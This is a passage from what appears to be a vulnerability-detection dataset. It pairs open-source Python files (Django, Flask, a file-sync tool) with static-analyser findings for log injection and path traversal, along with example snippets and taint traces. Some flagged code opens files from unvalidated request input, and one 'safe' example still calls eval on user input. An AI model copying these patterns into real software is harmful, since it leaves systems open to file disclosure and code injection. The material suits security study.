123,\n 'nsdInfoId': 456,\n 'nsState': 'NOT_INSTANTIATED',\n '_links': {'self': {'href': 'href'}}})\n if not resp_serializer.is_valid():\n raise NSLCMException(resp_serializer.errors)\n return Response(data=resp_serializer.data, status=status.HTTP_201_CREATED)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 62, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 62, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.data"}}, {"lineNo": 62, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "c930f0626bf8c5e4555ab22766eb57c23fe0b21490b948d820d7579ea1478c59", "license": {"spdx": ["MIT"], "repo": "nasserarbabi/FEniCSUI-dev", "path": "FEniCSUI/AnalysesHub/views.py", "repo_head_hexsha": "f8f161e1b49932843e01301212e7d031fff4f6c8", "stack_hexsha": "079cc8e3750a72f04c77d4be145f9892cc269784", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 246, "entireCode": "from rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom django.shortcuts import get_object_or_404\nfrom dashboard.models import projects\nfrom .models import AnalysisConfig, SolverResults, SolverProgress, DockerLogs\nfrom rest_framework.parsers import FormParser, JSONParser, MultiPartParser, FileUploadParser\nfrom rest_framework import status\nimport docker\nimport os\nimport json\nfrom zipfile import ZipFile\nfrom django.http import HttpResponse\nfrom threading import Thread\nfrom time import sleep\nfrom datetime import datetime\n\nclass solverConfig(APIView):\n\n parser_classes = [FormParser, MultiPartParser]\n\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n return a list of entries within a given category\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n category = request.query_params.get('category')\n parentConfig = AnalysisConfig.objects.get(project=project)\n jsonHelper = json.loads(parentConfig.config)\n\n if category in jsonHelper:\n return Response(data=jsonHelper[category], status=status.HTTP_200_OK)\n else:\n return Response(data=\"The category {} does not exist\".format(category), status=status.HTTP_204_NO_CONTENT)\n\n def post(self, request, *args, **kwargs):\n \"\"\"\n create a new category for solver configuration\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n data = request.data.dict()\n category = request.query_params.get('category')\n parentConfig = AnalysisConfig.objects.get(project=project)\n jsonHelper = json.loads(parentConfig.config)\n\n # if request does not contain a name\n if not \"Name\" in data:\n return Response(data=\"Please provide a 'Name' for the entry\", status=400)\n\n # if there is no category similar to the user request\n if category not in jsonHelper:\n jsonHelper[category] = []\n jsonHelper[category].append(data)\n\n # check if the entry with the same name exists\n elif not list(filter(lambda name: name[\"Name\"] == data[\"Name\"], jsonHelper[category])):\n jsonHelper[category].append(data)\n else:\n return Response(data=\"an entry with the same name exists\", status=400)\n\n parentConfig.config = json.dumps(jsonHelper)\n parentConfig.save()\n return Response(data=jsonHelper[category], status=status.HTTP_201_CREATED)\n\n def put(self, request, *args, **kwargs):\n \"\"\"\n Edit an existing category entry's data\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n data = request.data.dict()\n\n # if request does not contain a name\n if not \"Name\" in data:\n return Response(data=\"Please provide a 'Name' for the entry\", status=400)\n\n category = request.query_params.get('category')\n list_id = int(request.query_params.get('id'))\n parentConfig = AnalysisConfig.objects.get(project=project)\n jsonHelper = json.loads(parentConfig.config)\n if category in jsonHelper:\n if list_id >= 0 and list_id < len(jsonHelper[category]):\n\n # check if an entry with the same name exists\n if not list(filter(lambda name: name[\"Name\"] == data[\"Name\"], jsonHelper[category])) or jsonHelper[category][list_id][\"Name\"] == data[\"Name\"]:\n jsonHelper[category][list_id] = data\n parentConfig.config = json.dumps(jsonHelper)\n parentConfig.save()\n return Response(data=jsonHelper[category], status=status.HTTP_200_OK)\n else:\n return Response(data=\"an entry with the same name exists\", status=400)\n else:\n return Response(data=\"No entry with the id={}\".format(list_id), status=status.HTTP_204_NO_CONTENT)\n else:\n return Response(data=\"The category {} does not exist\".format(category), status=status.HTTP_204_NO_CONTENT)\n\n def delete(self, request, *args, **kwargs):\n \"\"\"\n Delete an entry from the category\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n category = request.query_params.get('category')\n list_id = int(request.query_params.get('id'))\n parentConfig = AnalysisConfig.objects.get(project=project)\n jsonHelper = json.loads(parentConfig.config)\n if jsonHelper[category]:\n if list_id >= 0 and list_id < len(jsonHelper[category]):\n jsonHelper[category].pop(int(list_id))\n parentConfig.config = json.dumps(jsonHelper)\n parentConfig.save()\n return Response(data=jsonHelper[category], status=status.HTTP_200_OK)\n else:\n return Response(data=\"No entry with the id={}\".format(list_id), status=status.HTTP_204_NO_CONTENT)\n else:\n return Response(data=\"The category {} does not exist\".format(category), status=status.HTTP_204_NO_CONTENT)\n\n\nclass Categories(APIView):\n\n parser_classes = [FormParser, MultiPartParser]\n\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n Return the existing categories in the solver config\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n config = json.loads(AnalysisConfig.objects.get(\n project=project).config).keys()\n return Response(data=config, status=status.HTTP_200_OK)\n\n def delete(self, request, *args, **kwargs):\n \"\"\"\n DELETE the existing categories in the solver config\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n category = request.query_params.get('category')\n parentConfig = AnalysisConfig.objects.get(project=project)\n jsonHelper = json.loads(parentConfig.config)\n if category in jsonHelper:\n del jsonHelper[category]\n parentConfig.config = json.dumps(jsonHelper)\n parentConfig.save()\n return Response(data=jsonHelper, status=status.HTTP_410_GONE)\n else:\n return Response(data=\"The category {} does not exist!\".format(category), status=status.HTTP_404_NOT_FOUND)\n\n\nclass getConfiguration(APIView):\n\n parser_classes = [FormParser, MultiPartParser]\n\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n Get the solver config to be submitted to the analysis\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n config = AnalysisConfig.objects.filter(project=project).values()[0]\n return Response(data=config[\"config\"], status=status.HTTP_200_OK)\n\ndef streamDockerLog(container, project):\n for line in container.logs(stream=True):\n logs = get_object_or_404(DockerLogs, project=project)\n now = datetime.now()\n current_time = now.strftime(\"[%H:%M:%S]: \")\n logs.log = current_time + str(line.strip(), 'utf-8') + \"\\n\" + logs.log\n logs.save()\n\n\nclass solvers(APIView):\n\n parser_classes = [FormParser, MultiPartParser]\n\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n Runs the related solver defined in url parameters\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n # set progress to initial\n SolverProgress.objects.get_or_create(\n\t\t\tproject=project, \n\t\t\tdefaults={'progress' :json.dumps({\"status\": \"\", \"message\": \"\"})})\n progress = SolverProgress.objects.get( project=project )\n progress.progress = json.dumps({\"state\":{\"status\": \"RECEIVED\", \"message\": {\"progress\": \"0.0\"}}, \"logs\":\"\"})\n progress.save()\n\n # initiate related solver\n solver = request.query_params.get('solver')\n\n client = docker.from_env()\n solverPath = os.path.abspath('./solvers')\n if DockerLogs.objects.filter(project=project).exists():\n DockerLogs.objects.filter(project=project).delete()\n DockerLogs.objects.create(project=project,log=\"\")\n try:\n container = client.containers.run(\n \"quay.io/fenicsproject/stable:current\",\n volumes={solverPath: {\n 'bind': '/home/fenics/shared', 'mode': 'rw'}},\n working_dir=\"/home/fenics/shared\",\n # runs solver.py with two arguments to be passed in to python file\n command=[\"`sudo pip3 install requests \\n python3 solverHub.py {} {}`\".format(\n project.id, solver)],\n name=\"FEniCSDocker\",\n auto_remove=False,\n detach=True)\n thread = Thread(target=streamDockerLog, args=(container, project))\n thread.start()\n except:\n message = '''please check if the docker is running, and if a container with the name FEniCSDocker does not exist.\n if you are using docker windows, make sure the file sharing setting for the main folder directory is on.\n If you are woking with WSL, make sure it has access to the windows docker. \n Instructions can be found at: https://nickjanetakis.com/blog/setting-up-docker-for-windows-and-wsl-to-work-flawlessly'''\n print(message)\n return Response(data=message, status=500)\n return Response(data=\"submitted to analysis\", status=status.HTTP_200_OK)\n\n def delete(self, request, *args, **kwargs):\n \"\"\"\n kills the running docker container\n \"\"\"\n client = docker.from_env()\n try:\n container = client.containers.get(\"FEniCSDocker\")\n container.stop()\n return Response(data=\"container stopped successfully\", status=200)\n except:\n return Response(data=\"No container running\", status=404)\n\nclass saveResults(APIView):\n\n parser_classes = [FileUploadParser]\n\n def put(self, request, filename, format=None, *args, **kwargs):\n \"\"\"\n save results to media folder. a query will be created to make it available for download\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n fileType = request.query_params.get('fileType')\n data = request.data['file']\n folderPath = os.path.abspath(\n \"../FEniCSUI/media/{}/results/\".format(kwargs['project_id']))\n os.makedirs(folderPath, exist_ok=True)\n filePath = '{}/{}.{}'.format(folderPath, filename, fileType)\n with open(filePath, 'wb+') as destination:\n for chunk in data.chunks():\n destination.write(chunk)\n if not SolverResults.objects.filter(project=project).exists():\n SolverResults.objects.create(project=project, path=folderPath)\n\n\n return Response(data=\"results updated at {}\".format(filePath), status=status.HTTP_201_CREATED)\n\n\nclass downloadResults(APIView):\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n Get the results saved in the database\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n if (SolverResults.objects.filter(project=project).exists()):\n resutls = SolverResults.objects.filter(project=project).values()[0]\n folderPath = resutls['path']\n # create a ZipFile object\n with ZipFile('{}/results.zip'.format(folderPath), 'w') as zipObj:\n # Iterate over all the files in directory\n for folderName, subfolders, filenames in os.walk(folderPath):\n for filename in filenames:\n if not filename == 'results.zip':\n filePath = os.path.join(folderName, filename)\n # Add file to zip\n zipObj.write(filePath, os.path.basename(filePath))\n zipFile = open('{}/results.zip'.format(folderPath), 'rb')\n response= HttpResponse(zipFile,content_type='application/zip')\n response['Content-Disposition'] = 'attachment; filename=results.zip'\n return response\n else:\n return Response(data=\"not found\", status=404)\n\n\nclass solverProgress(APIView):\n parser_classes = [JSONParser]\n\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n Get the progress\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n if (SolverProgress.objects.filter(project=project).exists()):\n progress = json.loads(get_object_or_404(SolverProgress, project=project).progress)\n logs = get_object_or_404(DockerLogs, project=project).log\n else:\n progress = \"null\"\n logs=\"\"\n return Response(data=json.dumps({\"state\":progress,\"logs\":logs}), status=status.HTTP_200_OK)\n\n def post(self, request, *args, **kwargs):\n \"\"\"\n Update the progress from solver\n \"\"\"\n project = get_object_or_404(projects, id=kwargs['project_id'])\n data = request.data\n if SolverProgress.objects.filter(project=project).exists():\n progress = get_object_or_404(SolverProgress, project=project)\n progress.progress = json.dumps(data)\n progress.save()\n else:\n SolverProgress.objects.create(project=project, progress=data)\n\n return Response(data=get_object_or_404(SolverProgress, project=project).progress, status=status.HTTP_201_CREATED)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 240, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 240, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.query_params"}}, {"lineNo": 240, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 245, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 245, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 246, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "020f9d87ffa33f9e22eb79cec336cf6194b939201e4ae61a27a422b8b4acf3a0", "license": {"spdx": ["MIT"], "repo": "robot0nfire/behem0th", "path": "RequestHandler.py", "repo_head_hexsha": "3931f2a9a2f00b95d82ccb3c5e7c13b3fbb5f4d7", "stack_hexsha": "9c7db6d021abe53926601b1834856be78ee60324", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 133, "entireCode": "#\n# Copyright (c) 2016 <>\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n\nimport os\nimport json\nimport struct\nimport threading\nimport socket\nimport queue\nimport tempfile\nimport base64\nimport select\nfrom behem0th import utils, log\n\nBLOCK_SIZE = 4096\n\n\nclass Route:\n\tdef handle(self, data, request):\n\t\traise NotImplementedError\n\n\n\tdef send(self, data):\n\t\tself.handler.send(self.route_name, data)\n\n\nclass FilelistRoute(Route):\n\tdef handle(self, data, request):\n\t\tif request.is_client:\n\t\t\trequest.client._filelist = data\n\t\t\trequest.client._rlock.release()\n\t\telse:\n\t\t\tfiles, events = request.client._merge_filelist(data)\n\t\t\twith request.client._rlock:\n\t\t\t\tself.send(request.client._filelist)\n\n\t\t\tfor e in events:\n\t\t\t\trequest.queue_event(e)\n\t\t\tfor f in files:\n\t\t\t\trequest.queue_file(f[0], f[1])\n\n\n\"\"\"\n\t{\n\t\t\"action\": \"\",\n\t\t\"path\": \"\"\n\t}\n\t can be either 'receive' or 'send'\n\n\tPayload are base64 encoded chunks (BLOCK_SIZE bytes)\n\"\"\"\nclass FileRoute(Route):\n\tdef handle(self, data, request):\n\t\taction = data['action']\n\t\tpath = data['path']\n\n\t\tif action == 'receive':\n\t\t\ttmpf = tempfile.NamedTemporaryFile(delete=False)\n\n\t\t\tbuffer = b''\n\t\t\tfor chunk in request.recv():\n\t\t\t\tbuffer += chunk\n\n\t\t\t\tif len(buffer) >= BLOCK_SIZE:\n\t\t\t\t\ttmpf.write(base64.b64decode(buffer[:BLOCK_SIZE]))\n\t\t\t\t\tbuffer = buffer[:BLOCK_SIZE]\n\t\t\ttmpf.write(base64.b64decode(buffer))\n\n\t\t\ttmpf.close()\n\n\t\t\t# watchdog reports a file-deleted and a file-created event, so ignore both.\n\t\t\trequest.client._ignore_next_fsevent(path)\n\t\t\trequest.client._ignore_next_fsevent(path)\n\t\t\tos.rename(tmpf.name, request.client._abspath(path))\n\n\t\t\trequest.client._update_metadata(path)\n\t\t\trequest.client._event_handler._dispatch(\n\t\t\t\t'received', request.client, path, 'file'\n\t\t\t)\n\n\t\telif action == 'send':\n\t\t\trequest.queue_file('send', path)\n\n\t\telse:\n\t\t\tlog.warn('FileRoute: Unknown action \\'{0}\\', igoring.', action)\n\n\t\t# If we are the 'server', we also need to distribute all file request\n\t\t# to all other clients.\n\t\tif not request.is_client:\n\t\t\taction = 'send' if action == 'receive' else 'request'\n\t\t\trequest.client._run_on_peers('queue_file', request, action, path)\n\n\n\"\"\"\n\t{\n\t\t\"type\": \"\",\n\t\t\"path\": \"\"\n\t}\n\t can be one of 'file-created', 'file-deleted', 'file-moved'\n\n\"\"\"\nclass EventRoute(Route):\n\tdef handle(self, data, request):\n\t\tf_type, event = data['type'].split('-')\n\t\tpath = data['path']\n\t\tabspath = request.client._abspath(path)\n\n\t\trequest.client._ignore_next_fsevent(path)\n\n\t\t# TODO: factor out common code with Client._handle_fsevent() and Client._merge_filelist()\n\t\tif event == 'created':\n\t\t\t# create the file/directory\n\t\t\tif f_type == 'file':\n\t\t\t\topen(abspath, 'a').close()\n\t\t\telse:\n\t\t\t\tos.mkdir(abspath, 0o755)\n\n\t\t\trequest.client._add_to_filelist(path, f_type)\n\n\t\telif event == 'deleted':\n\t\t\trequest.client._remove_from_filelist(path)\n\t\t\tos.remove(abspath)\n\n\t\telif event == 'moved':\n\t\t\trequest.client._remove_from_filelist(path)\n\t\t\tos.rename(abspath, data['dest'])\n\t\t\trequest.client._add_to_filelist(data['dest'], f_type)\n\n\t\telse:\n\t\t\tlog.warn('EventRoute: Unknown event {0}', data)\n\n\t\t# For rationale, see FileRoute.handle()\n\t\tif not request.is_client:\n\t\t\trequest.client._run_on_peers('queue_event', request, data)\n\nROUTES = {\n\t'filelist': FilelistRoute(),\n\t'file': FileRoute(),\n\t'event': EventRoute()\n}\n\n\n\"\"\"\n\tbehem0th's protocol is completely text-based, using utf-8 encoding and\n\tencoded in JSON for easy parsing.\n\n\tA request usually looks like this:\n\t\t{ \"route\": \"\", \"data\": \"\" }\n\n\t'data' holds additional data which is then passed to the route.\n\tThere is no special format designed for 'data' and is specific to each route.\n\n\tAfter each request there is a newline to separate them. (think of HTTP)\n\n\tIf a route needs to transfer additional data (a 'payload'), it has to send them\n\tin a text-based format, e.g. base-64 encoding for binary data.\n\n\tAfter the payload, if any, there has to be another newline to separate it from\n\tthe next request.\n\"\"\"\nclass RequestHandler(threading.Thread):\n\treq_handler_num = 0\n\n\tdef __init__(self, **kwargs):\n\t\tsuper().__init__()\n\t\tself.daemon = True\n\t\tself.sync_queue = queue.Queue()\n\t\tself.routes = {}\n\t\tself.recvbuf = b''\n\n\t\tRequestHandler.req_handler_num += 1\n\t\tself.name = \"request-handler-{0}\".format(RequestHandler.req_handler_num)\n\t\tfor key, value in kwargs.items():\n\t\t\tsetattr(self, key, value)\n\n\t\twith self.client._rlock:\n\t\t\tself.client._peers.append(self)\n\n\t\tself.sock.setblocking(0)\n\t\tself.is_client = bool(self.client._sock)\n\n\t\tfor name, route in ROUTES.items():\n\t\t\troute.route_name = name\n\t\t\troute.handler = self\n\t\t\tself.routes[name] = route\n\n\n\tdef setup(self):\n\t\tlog.info('Connected to {0}:{1}', self.address[0], self.address[1])\n\n\t\t# If self.client has a (active) socket, it is a client and\n\t\t# thus needs to starts syncing up with the server.\n\t\tif self.is_client:\n\t\t\t# Lock the client until the filelist has been sent back by the server.\n\t\t\tself.client._rlock.acquire()\n\t\t\tself.send('filelist', self.client._filelist)\n\n\n\tdef close(self):\n\t\tself.sync_queue.put({'action': 'exit'})\n\n\t\ttry:\n\t\t\tself.sock.shutdown(socket.SHUT_RDWR)\n\t\texcept OSError:\n\t\t\tpass\n\n\n\tdef handle(self, data):\n\t\ttry:\n\t\t\tdata = json.loads(data)\n\t\texcept ValueError:\n\t\t\tlog.error('Received invalid data: {0}', data)\n\t\t\treturn\n\n\t\troute = data['route']\n\t\tdata = data['data']\n\n\t\tlog.info_v('Handling {0}, data:\\n{1}', route, data)\n\n\t\tif route in self.routes:\n\t\t\tself.routes[route].handle(data, self)\n\t\telse:\n\t\t\tlog.error(\"Data received on unknown route '{0}'!\", route)\n\n\n\tdef send(self, route, data):\n\t\trequest = json.dumps({'route': route, 'data': data}) + '\\n'\n\n\t\tself.sock.sendall(request.encode())\n\n\n\tdef recv(self):\n\t\tif self.recvbuf:\n\t\t\t# This needs special handling because there could be multiple\n\t\t\t# request in recvbuf. If this is the case, we can only yield the first\n\t\t\t# one and have to leave to others in recvbuf.\n\n\t\t\tindex = self.recvbuf.find(b'\\n')\n\n\t\t\tif index == -1:\n\t\t\t\tyield self.recvbuf\n\t\t\t\tself.recvbuf = None\n\t\t\telse:\n\t\t\t\tyield self.recvbuf[:index]\n\t\t\t\tself.recvbuf = self.recvbuf[index+1:]\n\t\t\t\treturn\n\n\t\twhile 1:\n\t\t\tselect.select([self.sock], [], [])\n\n\t\t\tchunk = self.sock.recv(1024)\n\t\t\tif not len(chunk):\n\t\t\t\t# If select has signaled the socket is readable, yet .recv()\n\t\t\t\t# returns zero bytes, the other end probably performed\n\t\t\t\t# a close() or shutdown() on the socket.\n\t\t\t\tbreak\n\n\t\t\tindex = chunk.find(b'\\n')\n\n\t\t\tif index == -1:\n\t\t\t\tyield chunk\n\t\t\telse:\n\t\t\t\tyield chunk[:index]\n\t\t\t\tself.recvbuf = chunk[index+1:]\n\t\t\t\tbreak\n\n\n\tdef queue_file(self, action, path):\n\t\tself.sync_queue.put({\n\t\t\t'action': action + '-file',\n\t\t\t'path': path\n\t\t})\n\n\n\tdef queue_event(self, event):\n\t\tself.sync_queue.put({\n\t\t\t'action': 'send-event',\n\t\t\t'event': event\n\t\t})\n\n\n\tdef sync_worker(self):\n\t\twhile 1:\n\t\t\tentry = self.sync_queue.get()\n\t\t\tlog.info_v('Processing {0}', entry)\n\n\t\t\tif entry['action'] == 'exit':\n\t\t\t\tbreak\n\n\t\t\telif entry['action'] == 'send-file':\n\t\t\t\tpath = entry['path']\n\t\t\t\tabspath = self.client._abspath(path)\n\n\t\t\t\tself.send('file', {\n\t\t\t\t\t'path': path,\n\t\t\t\t\t'action': 'receive'\n\t\t\t\t})\n\n\t\t\t\tfor buf in utils.read_file_seq(abspath, BLOCK_SIZE):\n\t\t\t\t\tself.sock.sendall(base64.b64encode(buf))\n\t\t\t\tself.sock.sendall(b'\\n')\n\n\t\t\t\tself.client._event_handler._dispatch(\n\t\t\t\t\t'sent', self.client, path, 'file'\n\t\t\t\t)\n\n\t\t\telif entry['action'] == 'request-file':\n\t\t\t\tself.send('file', {\n\t\t\t\t\t'path': entry['path'],\n\t\t\t\t\t'action': 'send'\n\t\t\t\t})\n\n\t\t\telif entry['action'] == 'send-event':\n\t\t\t\tself.send('event', entry['event'])\n\n\t\t\tself.sync_queue.task_done()\n\n\n\tdef run(self):\n\t\tself.setup()\n\n\t\tutils.create_thread(self.sync_worker,\n\t\t\tname=self.name.replace('request-handler', 'sync-worker'))\n\n\t\twhile 1:\n\t\t\tbuffer = b''\n\t\t\tfor chunk in self.recv():\n\t\t\t\tbuffer += chunk\n\n\t\t\tif not len(buffer):\n\t\t\t\tbreak\n\n\t\t\tself.handle(buffer.decode())\n\n\n\t\tlog.info('Disconnected from {0}:{1}', self.address[0], self.address[1])\n\t\tself.close()\n\n", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 125, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 125, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.client"}}, {"lineNo": 125, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "_abspath"}}, {"lineNo": 125, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 132, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "132"}}, {"lineNo": 133, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "00fdebf2b4df260e8f08a55891db00cdb4dd1b14f7e43cb979dc40c2719460bd", "license": {"spdx": ["MIT"], "repo": "KejiaQiang/Spicy_pot_search", "path": "server/main.py", "repo_head_hexsha": "72aaa9618e54178da513371802c2bcb751037bb0", "stack_hexsha": "c711b732931b1daa135dbab87c710f6b0e8237b0", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 39, "entireCode": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom flask import Flask, request, abort, render_template\nfrom datetime import timedelta\nimport pymysql\nfrom search import start_search, decorate\n\npage_dir = \"E:/WEBPAGES_RAW\"\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = timedelta(seconds=1)\n\nconnection = pymysql.connect(host=\"localhost\",port=3306,user=\"root\",db=\"spicy_pot\")\ncursor = connection.cursor()\n\n@app.route('/')\ndef homepage():\n return render_template(\"root.html\")\n\n@app.route('/search')\ndef search():\n word = request.args.get('s')\n page = int(request.args.get('p'))\n all_res = start_search(word,cursor)\n if len(all_res) == 0:\n return render_template(\"result.html\",result={\"word\":word,\"pages\":-1,\"currentPage\":1,\"res\":[]})\n \n pages = ((len(all_res)-1)//10) + 1\n res = decorate(all_res[(page-1)*10:page*10])\n content = {\"word\":word,\"pages\":pages,\"currentPage\":page,\"res\":res}\n return render_template(\"result.html\",result=content)\n\n@app.route('/cache')\ndef cache():\n p = request.args.get('p')\n c = request.args.get('c')\n read = open(page_dir+\"/\"+p+\"/\"+c,'r',encoding=\"utf-8\")\n save = open(\"templates/temp.html\",'w',encoding=\"utf-8\")\n for line in read:\n save.write(line)\n read.close()\n save.close()\n return render_template(\"temp.html\")\n\n\napp.run(host='0.0.0.0',port=80,debug=True)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 39, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "72980f1149c16c316a5d47f713e709686ba83f949153d9cd8ceebbb33fb509f2", "license": {"spdx": ["MIT"], "repo": "williamegomez/AUREAS", "path": "phase-iii-client/services/aureas/views.py", "repo_head_hexsha": "06f5bda347481628ba2a08a854b76151a59d6e66", "stack_hexsha": "4627027be2fa84a4ea17d7c6b65cd28da93acd06", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 137, "entireCode": "from django.http import HttpResponse\nfrom rest_framework.decorators import api_view\nfrom rest_framework.decorators import parser_classes\nfrom 